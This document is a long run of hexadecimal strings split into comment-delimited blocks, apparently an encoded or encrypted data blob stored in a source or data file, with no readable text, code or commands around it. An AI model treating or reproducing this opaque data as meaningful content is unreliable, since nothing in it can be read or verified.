ad2551b8f12ec79af37a8c2ef1c67a33ce154db52df5dafd1d7208171ed97f5d3ea8d45f67251c005d1c2d4d8ed78425e94b214dae92a5f126aa6e8546654e807d44865c30d40594344b95eb48066a49dad50a117e2643b57b163cc8c6bed5e69aee12ba892e6dc89a2ef6235638326c240607ee6cb23b2a36222d63c1667410ea43259e1d6568189665ac67de09ef3e418e0eaea1c6dc17483f922559815f7b2f98b64adde98366c42597017e49eb6fc76230e6570041435d69deab8df4b5c1b56ba88a08d6a1307127263b4542cd4fd340241d59ae2eb991144718b10cb1c55211433facc7dc9396c0680a49e16e4ad25c8522ebb697f7a62d0b0d387e06a0f15c265fab0589fde8117d48acdc7b4db515a8ac3817a3c720800a6084a7a406550541733a00f9650248aebeb7b7f96b51d44032fe18e8cf4c467df2172fecb88662596c522e673fc61dc86c1d05f66820629e98fcf5551b2c8e146af4f2fca4e6d99d36295fb6263d0e1cc29afe0cf8a0acf34d537fe810e3c7c61b0b36aaab45cc7674bcdea48c423bba90308da0a581737b01319234*/
/*73288fb90ade4bd8b95ab8ea587824a0885fce4934c7b09ef0aea83cd57df48252df6016e3f2bf5ac7789a66bf16cd172d5202bd858efd3b03b8c9b7c208a53b47d5e973f0be39a4b59f7a9c2705c1230b78738b05604e79819831f9ae4752417f756ff2affe35e58fb9611dd9d48d077a81794ac93299723eb6b0deb15ffbb77e15034d3c8d4201840a381ee48ee0bfc0582ee9cb6693957a8de0bf82eca945f9cfa8b1b770f55daaa0595a2421e13faea3076828cee81494a8f11f8b56d0168d543729b67a1532234895ba46376040794b80643412a8ff29f665a6fde2105676fb6a54cd9b25aabff859a3dca2d72fc564d037ba1046cb4f9a429bf9dd2a28914ef24d81992ff054a17760914d3cc1024b5fcc05810b1fe94262b49e5faa6665bd91836241562badb7fad7c68c8d8b8102a3115bb968887e7018650fcea6cffb6c8ecf721c456269149c25e71e57f72fc06750f995adc449363995584ed308c73feba077fe42a6ee7b743ef8f471f2b15b32912529b826fdb79f45d3991d54003684e5e9974b3f7c14da24f3ccd47f16f87c3046fcec51ec76eea7dc573778d93791f280198f75ee1aca2304686e28924567ae920794c34303f2d5fbd1ecd75131fd354648e6742cb3f98502f7e42912b2c39ab5696cd52a75d4f07b3ba4c6cdacc970c8097c2059fa59b53a4d1a889740f5326dfa6c88b64f50b753f7150dac543ec6974c328ed242bfee3104ba63e4ee7f01066492a2a19b9e743ce1debc5cdc43e1ac6dc44301ac8c738479c8d69ba5e866e93238c882e00095dee9487f97c3c5edd719345ab536df38653a936229639e0e2fa26b165b5f59ad7578ddcc65e1e5e9130d8caf7c2a7b2a62b9e4802a1780bc8086d4cadffa1cd0b7601f3478b331315e9dbca24e9fac0e0b1352011bc73c3d3ae60eab8a942d96f8ddac55634d58ef5ea2dfa9d2eb99b51916f2c39fc016585ddb8f347b7ecfcb8fd2ce867d9be64bf96f31d8e3bd81eb15042a62c40dbf202b18fc24dfef7aa78e7ca786323cbab471bb4f9b264b9aaf3dc1943aa9bf76dfd1a644303136236250ed9e4f241fc694c4ce969785bdc51523573aab856fe8d1e7d6c8fe1b981a97865016180ea4dba360035a603f0273409d57ee57e26e3073d8651babdb3641ea8e463e4ccd653090b6fed45768991504c4a193fee12dcf12e7678990a06b1aa13ec932d2adb96ed268c9941c42d8e93c67d493690ee28db28e7938479b44d3653696118503416694e28c0ca97b1398537fdb5bddb094a50dfe8a89c5cead4bff34dc6ff62f6cae28f6de2bf0db496937670144caa01bf82c763918fdbbe81ce39e904fe09082a390f4124a68baa11092678c899eb7471de457eaedac6db7a35c310243b9c73b203dd23fafbd1170ed4fecd39eced28b0d4e407201bc150c0feab1dcb5351539df6004b02970d9c69fbd92f18873eed69032f0f781178d6c099ab56a1a51b62b2d415bde5bd53f502116b5b9a1d3ae70ec39836ae457c775bf39df2681f175f6463054d6c4e397c5135c98ad5dc0e12fc22050fa38c7f0f41774742eeee314e29012de9d6f5d7c2f4c98bb0afb8d9540f61f99b4bcb7cc2e0116ded53b102ebc71cc42de3bb208f7d9c438142395dcbb98f64cf89da461ef78e9572b1140bf28213dfb934f51ba18e7f88ca7ce3a641233b0979ffa1f1713e88f6d29413702f11a619a424adb6576ef47737174a0d8aabd54f3942c25c6a330066cca14ad7312b3a65d0f4ccafdd55d4d86b491cf68d6bf61f7ca6418ae1786a0ffb01d24f4e73e303b5b21a622bca254cc18e42a78e41cd9286336d9b3cdf1eeb6306a72137dc7d687b971128626b93a0a922c070e29734bdd5945bb34cc58154e2d2cf86ed673b845896b26239bb34aa5126cf5db94cf60eceb94a7ff540ad12b1c35944d68afa9ca31639183bbc980eca70ab3b3630d64be394a6a34e9441f6503269cb9a1a26716f0cea15c5463b6e7f1375c71ce136c96e744cfa68de223b79c2ec268f7aec4fd40d08ad7d939c3831eaa906288d7fad65a7caa1723d097d535255c216cffb671886de8ef524578ede54f333f92abe87e38a4ae4cd40e02110716d9526e45bb226e04897e405f36f27227d66d2f7ad46375c20931091981599e7bfc06abe029a963d794e0b6d7ef7b88cebaffa8f60e891c87618995c9ec1cafea0374746d91fc77005814cd2a4eff093376c935627f647a7f1a2b1a6ba213589472963771168cf394fc54f7ee7c5a7cc4d843a7465e35382b484db935eca51697e32ed17317ca1425884203e6f8dac7e95fbc5f177f57e6d403b84382751f6ac615e586ffa60781a6e3ea8aebb44647544d59a4424f6a5e5a92016e01af8ec51170671bf41d1dcb4083485e8a85010e0e018d062569459cba1c3aa37585cc71d69761cc38666b2344a7b366cdacd65fa60638ac606f97157840a52f725acf35a1441535ca5123f402b3dfee496c0d4b2d398d4f4d0605cc2b83ffcd44279662ab511c213f3dcbd7f60d9a4093bb64f8a04fce2d5f9be0b1701a0e3099a47f2477b28414af1b1698b37a829c325485b2aa0c0d8768ad9c2f4df3bd35378bb94fda93dd2546cba4ccc918f3dce8fab1be5ef39068e2a26f89a5dc58e567369355739f1209226bf14069735a92dda26d9e0745aec45338c90226c9b8dfde92e47f64e2e64909211042edfd53a1fadefbd0f3d451081243303c56720de4404c33dd712483a4ecd588f03515bafe41c93dcc2bf15e2f35c8ef6489c1096c41648fc17bc119076bf12516cda0d0a6f6d5532d9594*/
/*ec45b9c4d3bcfeba9a42bdd5ccebde0f5e4e9f0d44807b4a701e2cf02c4ab4942735f4169b370eb537a2833f87a6e184bbdc10715a41bb3a0e3ba7259d3fc3c93cabd34e08954f2b98d10ae78c708cc923cf688f696ac82914483322b4f420e5c6a80d5b126cee2478cfd1d7a337da0c4440af299461b986cb551a35d17ad236723b2e8d1745574bda5f5bbb357b7fff0358cbc61b5f7c0ac015359abc0a1174b1690e911a8aca8b5473013ddf3b76845ae0f71fcaa1168cbae30ccd03ea4120f1a6989b2cb830958e3d3680334bdedac6a914adee22d749df36e1c65859d6ef60333e7688a61c329da0cc4b68e9ef1c0cd848bb1a1cb43f49a32b14f29bad46882e907ca4811da3ea5c636ddebe031012437c9ff10910dbb7f2e9bfa2c01100891d7540033cc4bd76de05d8dd3c0c4aa8a771f91ae2c361808b3694c3ee029a56d113703ac1002141884faf6ffcb12ec244cafc3c0055e4ec88140665bf10152fb8888d36d0fbf9108540ed744a5e5d36116646324559c0ca16bdbec0840074ed558b9fbcbc8988b1cbaf646c71c6bd900eb8f189c23f300ad22df482e0a9b8632ad0cd2b26c1fdbe3879a92991e7d4aa74cd5607b8763e45e026dd5b44eadbbcebf48cf162b79914775700d8fe417aa4b8c06bfe407898785d90715a019078cccc380a4db9b212816f88b094e04bba930b9a91a31e866d797af44b721f0953c6ea72b5d668012c3a88f8aaa15e6846d7a26e6fbdf654d083d158b89b8c7e362332dc7bb072036a734d3c27b8802f6423e24fffc88bda9cccdfbf895759ac79bf957f386e9ec78ffc9deb770ca6aad4b3faa0c193c8bee575ad3ce9e719273c8c891b27bfa1e419f460fdd0062cd54aa17e968e6244fc2c8c8c88df395fbb1d8b74150a22830579f5b200ff71a8ca6062bc84f939df677dfb6cee66bc70b9a69d5ad56ec470d9f5a4eac722ed3d213e9138e93498d6eb937bcabac79dc077cec0942060c257e218fc5cba792e809fed27751ad58f9a4ce4010afb919f496f2bb47b1ad7c808090f6cfb337dcbe21cc374c285cee87a295148e5ff8621816ff090c293ee822c8b3cdd07be4c15ed3053f26ca99bcbf7c3bf8001e38c726c7329f8e1eac1553cc046eaf486851871733d74300d76ded3dad9fbab45537499568764b4276922bf4706c827ab106329f7342a698d8af501ef334eaa73ca0b84ecaaa941a19dcd22f7d5526030bd89f63a5a972550751ed077aa542dc7e120a57519a9b89977f54d1f059aaa8682932679d037c74ad19651d45eb2e47579222abac070a2134cdaea975c2a5a4feb4d997e288f1e59392340feffb3a68ea194453da2d6157f42224a86a2a77495717f257f5debfae11e3bfcc38b3c35066ad66d8737c0cc2589ef0e71f2ff1f2f130d99558d2668e294cb55a7d7dd7c85353802401cc5daa62a72f46b939bf2053f6f017eddd023e3f0c9aef35d6724f13cab52b16aa14a6369824e3bc01fbb672223e843abffd1d7899571ce9a22e65a6eeda381e74d34738ed0afd0b0d277deb22f1fc3f73c8042589bdf3cf750a3b10e5d2c835f333622384e549f35a2be7e7a06d10783842b09a29ce6b6cb5269c3f3b0847d5809ce4ddde585d91603ed9d1c24a9c367a79d0452e0046ebd73f73c7e8d4ad1882ad690384f5d6abe2023cabb3aaccfe938d4ab03bd541b08aca0186aaa8689730fae5947284b9b39df57548255e99e6a78622efd0f2884e466c2962c45fc3a73d22ffe1a04fa57802abd31537b5ed31aaa522de6fd18eac2b807dd090c2573fd17b8ea5ca40229649ef533bce3ed824298e65b96339e30fc265cd5033b2e5c8fae9fc911f99724ac72b867698b26d6ccdc12b7661028074ba912664225846dbf407fd43fb7d52edc0bf74ca792d8af62b2416c5515cc9caea1dde0357f24ac226e0741f0b067fe64c9b7cbf3b7769a3cd9d7df266e570e2b87bfe04928bad282034611e6a97a76aecf758dde0b8e1a36d458728e598221a1c319769ea591dd6142f33326d6d4ca0bf097913e9afb1550a355f4d6d9b4a41ca35af112864a038b30be268629dd6337399a9de64cb205beaffa7f196b1e8e98ac1e22284063ad41eba0353d88113c003e5d4231778f4e931de01cc53309973dfd195856f74f0e30d43422c8a689b415f87bce44bfd18c501b3b2f0e915cd925462eed0d11a6c05d07a3d2ecec8dc2ecbdde79470bbc301a5f2e571a2db44af6a843663df524d26e0d370ddaa32d7e0c06a3ae325446347a79b40f4516fac1c8b5353db7618dc85ca25f0f465a51fffd73dda3944d5a1afdfd680e14694ce4e4b9292f68cd5f6b42af4fb9e6f966341f092565c773007d734d14214cc0b92e1e0dc73815406c3efe559bd9f9596e9303f8bb18009edb5c843d03e5210c8139e27e32d8f80e0d1919474f042dd8b4df0ef932b0365636880e47baf950f407e215a0aae58848e6cec15fb3de9a5cc85b6f89fef5e05e19ddd4e310ebd360bda51a9cd918165988bc9a5d7b1c5405730ed9fcac74fd168b3bfe0866d598f208f1bc4f2bdeb92add88b37d6ecaaa11e4704b34e6803209b6f8480bca0d3cbc1cadd83d6e3370fd3d855ee51ffc0210fb55385e432769b4ff956587bc1c47f63e69f683084e6a8075beda5151bc78a7a674a21c59043efd7cd0b598689cb764d17584327f4ced10bc8aa4c21ae68ccb782b2a1e96efb52c4658a29702e330b59870d208bbacabefb54138529083ae5b51a492af19b94a6e193024ba55cfc38e2bc7f5ceea0699524125102d72b8bce7c9702c98d46b262d930238*/
/*75966c18267de89a739165451f0485f19be56b58a6624bfae56729b313eeb86feed3d81fc08e7a28a8e42d255f557ea0afab2d0ac90bb2b78e908b71dc0d8dcb23f3bfb7f0d16366f06abe455897e39346a5b5113c92b47104916a722bd11d23d93c1be3a5415eb86181401c3b6274265a110154f2ed47c8aa8d387c8406437192786fb3e580723eab907bad864e14177e4151b921b05f9a9e8621e56515e2d80bcf175ae45174c16dfacfd0359dfbf773aa6cd0f6e34c274d46c3622c9e36dd27df4df731f4052f82a287a9821093a337649ead9bfcc504a2a990fefdcb0252fba4a2bb34b1e745068e47cfc5228e69781d6b1362b84557d8cb4d77ab44b5ad15c4a1677209b18552d4aaaf08f6156ac933e49aebb2037ea2a152ff26c72ee11c2408eec1c0b20e63cb36b0576050edf938966d8f16c2bbf3ee721dd5321821b3ad78aa32a9db7c1eabcc4b663b2abb5ff1edcd6c6beca840975a346bba3e53218a459153319b2e85319d55abadc9752095405bbf4383580fa287637a00bae320fb08f61071e1b3860a5293b3ce933dd6bb3a895a0c3820eca67ded8b4e60b8e0613264d4d1304fdbae36c90505bf2465792d47fab3cff5e016b245c8dedc632193ddfb9d46b7b4be762102f8b7fd63bb032f1d297b70a36270a07115f7e35cee54fa7a28951f782e913740118a17933e5c4f7f90b6717fd6a7c5d25b421ffde15a76a3b7cdb6e8e6e08be620a701db75dc7bcd2653efa309814ef8c28bf4c944619f20741cac0bcbef0170e44397fc9083e9cbbb87c1149400ebf1c5d29aac2185932b5c6fa10169e52276ca98e34ee452b5143042c0ea7cd17e30abd6572fe54d81b3ed17e7828318e2e69aed6d575c4024d37fd8d8690407bcc831e3c572b3fef595e42468f21dae0a1c4a24fc5977f62f6fca3b6bda50d2bfc8f8910439022ada16d2596716d050397be835e86d0c3f4307b481f9628ca0f7146b704f05a9a0194e893a5c96e056afcb58639f95ca1b4b1f3e88e8368cf1463375d48f448c3705827414b655621f2e37ab13586f54afee9958b7eca19d5133df35c2e99e490ec61178fd915acb488da879882168586e75880772331c334af5950db06a2567ec6e148d4ec421483940ff688aad9a9e5ad2486fa5878918aaa105848b1ec53381e42a968956bd4cc6b87f64422e2bcb412e78dccfb1062f8296c1cf0219830f1c71f83df48f4b464ea5cfd2d08bbe5dc29bd78dc9d3c5223df21d34f47c8d7b4b516100fb196d3b3d41361b7ee109a15fb0ad8dfcc855fca85a30f9e802136f14bfb592edc831dbffdf76acd68f6c94ceb12528ae9c760431938ff522b89375ecbea060c080b6a1c084ae82ef961003625ebc49478dd799c45038c233018a26eb77d6078c5140ad5c3f5bc61e06af9e72777a3d341b55cbcd75896b10c36aed0c1c3ccbb11d9f124442fea938ea6f8d38d39b947886ea743be40547118c5f408d527a3ca3e285da204dc0c55c0c8ed2fa85f2f47b88a350b5261a6df135ef385b221335ae6210783b755639e375f2dfa2634a268de3f32c7adf614e8deeca33427bd7a569fd681c1a15743fad9971cde4588abb743840179522929b09e49d53700b03ac1a0bd920bcc028446cc69f005bc7424c4c5d51c18e32b7cf45c73591845d6e1c65bcce3febb587671ea7cf23c1323dec862a8d189342546170364dbb942c4ea4bd34dcc966d25d95615d5fc69cfc968bc88eeaf6909986e156e80146799cc06e1dd9986ea4f33e34f48f70f6cf5bbb231218e11019f76bf3fc5b13eacc779ed9f2c9171bce2bd56dae0b99ae4f9c85a7520f11c32d970e5523ca3cd3cc864d09f7ce8b4dd77d4bfe71ed72849ba83132aadb1f792fa59cd7ebd2b9d994a51bfe427e3ff324dc321bfd94669d63a750d0ad9d0d5df171a6b1c38d863f0eedf5e0d7d957029c1d6734bc7d1bfde30d49d5f9185ffe5ac79189f792a91c0d7349522840e1bffdb37f05979ded219b802d0874f441b7f1ff4a4a09223e5f69052acf4eeaf7b63217f1ecf98fb88a33bec5349e6cc7da23d22d4b0d564c249168f9b909acb01ea9bb554b51320639f04f618464fd0f5d1d7c37d8eb1825e2bce89b6cf4e7a002a2118fbb30594a254c4aa1bc18c29cc6f7eb18a7557c2f776af5c555b342627245343c0c030ffd8ad2f4c3bf8c0b1491d2b66ef1a7a35843b51bb53127a4ac6509b4ace8b8d556cb7612b8601d9ecf4f6fbcd86f7f3b2c304fc5f9b179a90f96757efb682cd4175fb8301568ad41e1e45b65cb1872ff92d8005f468cd60f1cffee438e6b0ddd43b475723efc6566dd9876d2ce098a116ab47841adb39ab823d25810f76bffee7c3ea4c0ff6c42921b3c276ab28ef5328f9870ec3ce715fa90a3239d3c0492e425588f2de436dd1cc086dd23ccc7b868b590079524e87ac11c23b1b2d0dfa645a9309ef2c0ecf4dddc6cd10b37d1fb84027139214c0b90a1ca66cd87029d97c227ffa5ada623a806090ba5ac0c5c824fb7fdb416c7775bf7a3fd271557412c7bc833d1a2b62246b8fdaaa4a6c53acb0b6db8ddbca63dade7634eb9831749ca253de5fabfefc31e2ba4fb2f4d11918c60386e05a915438e774822b3f4fd9d2e3be19828a85c592e8b702e5b2330663bf5f6992563a4b2dd1048f14defb6f72ade836a2758d160c9398ee38a61224debb2d987b95227a25ad60b79124bcf9ef0ac3ffb6c134c3db278649dc6c3189740b18fa3da8aba25fe23df82a8b786b4d8d66badd833fe80455ab081eaccf1faa5409f7d41144e08734f99caaf1121318ee484*/
/*6b1fe158e313eb63acf2513c766d1c4fc7f4fd41598533659f26aad5843188b9ebcd0d8867784ee654c44edfcbe9ec04976849a1a30d22c06963da8101c8187147db795e766fd43f99b01c7e8a152711471a0fec2735235ad2e16758bd9e56ceb58fe74d9ebb87585a881150944d2f3814b43b52bae4a446ca32e1b301ae1ef7c4f7f544b64206f09f565c1af49fca6834a1c9d61e9cf3a06bca59f44bb45ab4142a8ae23f7db654d91e1ebed722344468ea34f8e58f530b586f5e82a09dbf67c0278e7dd8ca45a213c00b93c1e1076467bb2604de7c1147cb15047dcb581f53201370692bf376fb1837c81a847f5eac665cc8fbb789ca5790449fc309c7c9a6f104511f458ed0e92ad78b922f17489468f9c1b83b1b0dbe2e8c460f7c7c07999124ec42944f3e6aa78bb2f4b834ca5211d8b2682acca9fc11eb39cf9e5a3bd0e296e53b2775c76bdb97a7db2e919e6124d1fd7c0caa54944c28a91467b053d693521b6942b88b651a25617ea74d89e10d2477ddd92f0abd666dbaf22f1fa29bcbed043fca1e63f837f8254b492cbc5a9a9a112ff1d5789b94b6bfbf5abad3a7415290244ce9fdd9daf9b44b659986bbe86960e4cec0faf80b504fda362dccc6363b948581b4ee82e2b337dcad649c9bd6aafd2d2b50d52868bb0e170cccdfd310f42c75a297e81950c72efd016502c077451ca7dceb71058ff2d95f156b8686414999f563046e7ddd2fdf11cc8885ffd1b1b780e761c65ce2e7bf699a74b6bf2444e19379d84b9be4926d3eea8b96b446e03fa89456f03416a899d0a1aa68835b8d091115bf86488e078354c85f7d071d59975ef0aecbceae9916bdb44209556305f74316042527b3a52128a8012f067bd14c454fae98c79fb9ea625cd2a33687f1556473c81b2c5277357bcb454e5b6dfe9d35870184d582c1c209d4685eeffa0ef5e72f14409f759d698d0b2af3b3d8a38f74a06e7fa7f855cc8bc0aac414f2bf54c3255b407e4f2bf7bede1f9191bca611ce155e3ae8ce49b42331b8edba6c217c7305fec0499d214432adb33f3d34800153e8d332f39befe4eaaaea12d15faba29f7dee9354719665d6ed93445f35dd95972518f858167898751bb4d01d24956b3a0ea5ad5cede164640f76581af025a10e5f609616135ffdf5381c97ecccc2313624600850bfa51c10d2d9d4be5fce42b31ff5b2429fbe7c6d5f74b4adcce485e0fcb092c61011933fcb40e0abfb4ec11606a3a4b6936323b1c207232e61c8fa468eb6abaf16d6b079d2a9338685d06d569ce34a4a4e193b99c3e72f705b1a76b190ea8114aa9ba4ac0bc3f2761b1dc04e518af08f0cc6330a55372580c0fef86c34e6a2c8f499fadb624b29cf118a9bc234ab2128d8090bed0d8f5da7f0a509773d82669f2279fdf8653894c8d1ece090edf4baa22c90b210e3335d8d33eea996032133e2f9deb28fb93652643d79ea40e02cf70a817a75ad4e33ddbbb0b39876ef04bc8cfac51bfb56e591836532d1459e0a16c7722b04661d60b8ced51fa09c1e6d29147ffc7eaa738bc9555bf9fe76bc77f9d543532d1f8aab726cbe7084c0f3eefe753aa013b0fd2b57ad56d27da17d467c8ac5c187b6b480963e2966090efda2fc2b5ef60c6890eddf74f605b3b5ad59ddee2cbad84149beef1791862cd9becdbf32652482c976daee7f252022cb2f877de90fe15920225500734c8c1302c79457e068c652b26b20c614bcd105884ba7f047d5a22b1ec4a97c42a25481791a254c9c09256edeb9725f7843c66dc553c3fd827c137a11d30b9a7e69e4b02c01c546b2e135b9c56efc4312ae1a2ee0b85722179c90e2007ce100be37e42046ed5113290a86585098d905838f73abf1543b127ea34130683472de3ca6060cb61330b89aba54645f02c8f9847a3de08bee569ce76941c504a3a4fd2154524900ef927b26604146d0a41ea66dc004b0e920b6bd290e6a11f485509156a773f6e9779045df6120fb4ab576c1bea00620e37b7c02a02f78c04f770d80e80a44cbf6e05bf93634c20a0da956fc5318cb8c0cb12602372df5310377bf802c65174c152194fbc0470735ad98c3e047b84f4d32a68736168b863ebf59c4b5ff232fd71b2410ea7cd9cae43a72a4815fc0c5128a94d998073cd5ab77dc98402a394c2c724e7bcddd8b3c1f8958d66b03aa56c4c051fb99f4ee5e0ae98741cd12a06d59926a3cc76864a061490a40550eddf197e5ab6ee15d4d593a185ab83bf271eb190f16d6d8d9a3e7d70bb673a81b3c1cf256cb58c526d6b5155c48ae41409a194bf0e8fc9330e6b1c3b4c9c5f757e8909ffacbde0a231a8983814f1a0a71554b8279ff26b1f477ce2514b9278616a7b08514c7491c36f22e8f688ac74f36f15231e0395dd692ffe75c9244211f04468b7b764b0ba5f4e80a74ff882b5616c76e4b2ccfc2ae67982e276add87b66f18513c8d7859d10a68d805bb07c0686ea462cbc3b94ba2c28641eb6cc6a7be1ba49b17178806e4de1f992a6560eacc5852eba83c68f8e7a8b16923ce64e8963e4ceb6f9376aebc5b2f5b4635dadc7bb3aa3045149bdf4dcff926f95261b18793bed441c199669f29c6ba69a54e107f5273cdf09af3ab97e77133bdde6f440fb9944874ad3e1d4d14b222b13ac9beba3d188c0d5b1cba4d75995cb261882ddc5cb96eedf2330fec96b73430138cf88bac0b7bbf255d875ba96fe64f337dd8602c08b2e714e6c095170462091454a4d4870f06104d059f7d838a2d1b57fd945ad926b640fe0d52c2f2569616777b04f36f2f87cab0a7458032ab289d28af98f70c*/
/*78e5134a8f4fa2897d84fa91a8d7b02f396bc95759b80d74683c4d2ce53073aa658a842733db95364783162926ac53b4787b05a8c5785fb07cd8f60666007ca8da156d2d5ccf8110ccb5cb1f8243e738c4c0632bb022603023502761662f5ff49e6f50bde8cd205aee07defad5f2d3e72ea1ac3f60eeaee875a2aac72aa799126fa9c9a9b85e1a91f92db283968d123a055e4437c559fe794ef9f301d50c0eb5d27a26f98f1cdd762482694174c02009f2782543e059378622adcf67468f5e60ec2ec5c0e5bdf9a68563920913e614f55476ac59134f0259fe9d92d676f91cc03b64f30e3407524cf96911b6c85e2fca14e4a4afa21c19e0db0d0a964bb08e28dd1cf4d416e71e5346e59daa30f1236f194c194f2a4e65c1d36b2f5b7e50ed537b60acc4c358a0c16c1237b18334c3f709095948e7c58639b58a26a81cf91a2ef5879c3bc805d6a600185cb9908e1db355311edfa790f63bf9a7d47cbfabc6c7415a79acb4b721f8fbc48ee199803847184ffb903fd06607dcf2b796990675ddbab2631cdf4dd3c5c564aeedebbb6b03f2d761538292c9caa22c55a7eb384e2212e63ecbdcc8228187583c8abf42334de7d36778abb27d06750136f857fa0fd8e9cf80c3fd730cb6cff258ca4504b75806500ec754eace68e64fec83be870f0a103b163ab0bdab673cb6686d870428e773c008d5b3d5420c62b958fe3b8b39dc2d1841f4a4f9538f97b88e683fe6d552b19bb9fd74bd65c1d176af4e827d5b5086b1717cfedc097bf19eef10d69098fca3331bc32ab525ab9916150dc454ec82bdcbebde7fa1ff20ccdf14809abc6faf1c2fb58ba641c6defa2a388072fdd0929be695456a5b46cbb992cfaa6fd79de3147e6d35ee26f247a0bfd2b03083e66cc26b158d5a8b731942b2e389b449cad0e60997ce36c4e85fce615f8b1d42b3f5c95e548a7c83499364bc47120dec464681fc59abaf8e0178035bc6f6bc1a7fda43df6e9a6003aa70bf9cd32b25b67ac727289c1d5b5070d0f37e423555bdae6800886ed6b46a4ab42d5f376dc07401cda990de6ca1fa62de9d5e80580041c339177a44306d9d445517a754f94e9a217ba31f388758be84761065570e433511dc96d648e8dd8e78b1c73a858848193ee787cdac589270551d0d9bd81daf1834cf4ad61401c02f995b36286e6bd6968d84c9bdf0e194c87dfac5cbc0559fea1425c0187a8dc44153a0bbaf6ba909d62c4bfbed2d832285c9ca098d17e65989574e8a75d934841a876fa0d2e9b0a0262acaeebce1be94623145cc2830b112ca89d33170970984fcccd473c836568325497bb05de1a0a2fdf7d477ad13967328919e8485a7a9c1eef94cbea8323b2a11f254248e7024b692c9e390b80488bc6f55de9b05606a54a825125b635c88c3b1b5713a429fb5ab64694b407624ae37671f2601a3ffab3a5ae4775019e3f50305de780f8e3a879724344f42f86973e4e2942e9ccd66daf8db7c2db1f7da8e2945e17bbbcde57b2bd914be54a87b8c76131de3c1203bcdfa9aab49002c8bf58bf771dda77778135a270ca42f413ff0cf527a6ef5cc37552e2efaf907755b31a933c3bd0c680b49ef034f4239dadec63662cdc3eebc2f2d717b703c0bd110a82f3cdffc0d84c5166c1f450696e4576185299565f32456976b01f33db293b8aab985c9be4ed0ae4709c076d6d865c6877d58e75928739fe831479fb6a6de4a436656910eed8dde838b2794ba208259f2b753b645d581f1eb0b8269a4e9acb158fc868f5df9af183e27027144fe8b16d167de7ede8b1cbcc3c72e9b3714b3f9f2b9602e707ce135cb04e6f43fe7257864d474d34a4b2bb567509a176852956b52d6420e1383aac563beb53d41bc3e096d5b550d786d69ce02ac14e5933b1e97a3906a318d7a3468dcaad37a4726b973ba8caf4f0174ea210000396aeb4219cb288f6895bb76f9f1ef77463af04829aa260bc5bd1d8cc88dce1b751dfb59c10650c9e95da631f65f348be2de6c633cd733c66c81d2923f0bf4130f69a166b4fa4ea5265905328bb0c6bb28429cac1f15d019cf6c44788976b0c11bb09cba31310d936f6bbfc77ae7b937566fa6fc6a9beade5249e963822e6e607ca74130f2ca9ef2a404d202069c94a86b663b606cc0a1231e2cdc9b714b283b74e5740f78d687e32edae774630b6f9fc6c7b7755729863f5e10fc92d110093261edf6aef1527203a1898fc8f9ecc8ee2678b9d149d65e0949349f248564be3eb34ff6d39647ea18e4fbe7108e06fae80bee4c06f361933cccb67ca689028da094f9e901cfee4e382bf8e1f5c6ccf5bc97288ea08f823f7c90d1ebf75ebc3a71fa31ec797bef10999e9dcec53910cb3014746e3bb258da5335e0892fbbfdb7763bddf8b4424b3d73a2d0032683e29ea6e3f1f175a00b0475b38269de919b012fef35a115192639de29e6372f37331d5df123999060bda1718c53097dd4287f59d7ada662d7b9be4cc94626f87b4935aff02683cfbc146a081d6e5eb69db76934b879060400111cad9d49cd9894a74065a10d2cae6bf8b7318c9e3bfa6ea00ba52c2fdebf6b494768b66dea74b07275af6d7f7c83e929356bd7bf99bc6ded20aedc89ef3c6db3067f554142bdb01a5620c6a3ee1283b2cb8d2f12bd16220fb913447eb7e26138d99377d7765c417243fca1247c63845d0415c005ed287ee97e7c2dc5f773374985758ba4544c1be22417569d2b809775f7a7955ec8abbba9e60d86e4665a7e521ced34687d14c079e7b4ec8a4d6b1f47ee2399f21f0425a8ac7206600b5f06efa28a0794cf*/
/*0d4a8edfcdb94dcb8e6b770a5a60e99d10aeb11708902169b28bff5f8c390b36d99823b706715e85d61cdb2464c28a25e6fcd1eecfb701e19657af357e54ee19ee2b9edc627ae43b7a282d79b3f8e0edcfaa69dafb9954be2de0943c64a57f7fe1524ac2a6024051ce847fa34ffb9cc62b2cc17980236cc6ec15b7f918086fbffd622570573ec6ab0c8ba120f998df7d90a466bcfeb6bc5fff1d7aaee4b9cb497f469bf662ca32e5de5fd803e501244297a7616e7be411c496dc11c4809c029eda26a5a4251ebe70690a91b974932e625a4977c1dbc266e81ed43ef9388b06bd5222c067851b75f4ad5e640f4cc2a4ded7978f2b4401aeab3d999c1bdbcd19ec64bbbfa2d63d9fecb0eab8bd374a10c511bdc96cf8183c2b80f5c3fb47b4420d8edddb1c11aff3f17353318c12fe17a04c0797895f826f061eece2e5a8531019c5ba00432f473f9d7366d70a62f0bf6c7baab13eb96f29f0ebefaa6f94f2d40ad36a80518061aaa6219a8dac7afc2b3161db9961858f5f8b512e44d726b97849ccb3e4046b72cb9d2a876711b72e99df1a294b06b5581e2612661053ee91eae9cea2e12ddda3be9a3b04dbb2c06abc7031d713fb623370f0ef95f81e3a35493ecbfdcd5b9f4b341a8edf1f58314f5432603148d620bd046e0502d60d2f7138b751af6072e9cc2c70c637fd1dfa53a6a177e63693416fe8238fa0c03e78e89f79b74755290c407da4af7d4e3bb89db02d82f5a385b59c8a5f96e7c36f95adf430a94c8c959af71570bd3e9b583b1fe45fcb16a8277c2d48549fa10f3396c41b0636b6499d0324e002c2f002f91915a578a5628f5360109ebbb2e8b4f0dd533b64152897eb3c51ef0840bee9a177b5f18e7489a169b2c4d5a43d0d8ad7b164b33498fecb0a5bf293cda14bae184c1859414483b6d4a0409723a66ba61c574d7dadc7c4b0b59ff8a640f7dd00f3ba242adead02471960567bae2205611ced1d722db35e68f6488b9813f508d00697ade2de8e6c8b7d5995c0747703c470d4a866f15a62f56854c28ae325aec6dd7fb4f9ee31e6f2fca43ddecbc03ef6ced545b4f1b91783c6a12620a0d755fabbea2ca2ea3430cd14f30a99d09af763e81788ba993ae6a6e3c200062ff402faa0c1acaaa094d62a1dde8c91e12a53ee816570a29faa4cd458f95d8e7cac48eb9fc7e7ae6dcee59d7153e28e59aed4d55895e3cfd7d43f36b181084352d89b8fe8066e65bd05807308690b58e8b213f5b0f301d15759460932241a2f4b96b362c5ed2e0c25cc4e0b3f421fd03ee2c8758630cf4f7220dc75223f22e5e6f6e85b570a18bf53b6c855123fcc9c0fa126d297ea1861369730b75292efd6747c2f44c768e3a5f11db387032edff672146f8559a2aaaa5cb8f23b29517e3308a234e51bf7b43a2ff18bb9161e64ec79b1ee1bfccc735adfb0ed1af3cdb62a1bcffe17874368c93f8efb846764c4befcf6be0103a4df53a0bab1e12fe982da5e182862794a8a2364192d54230ddee3d53731c34dad93305521a1ed90154a3fffb96137420ad6cd0155689f2cbdea230d5d539cb79ee3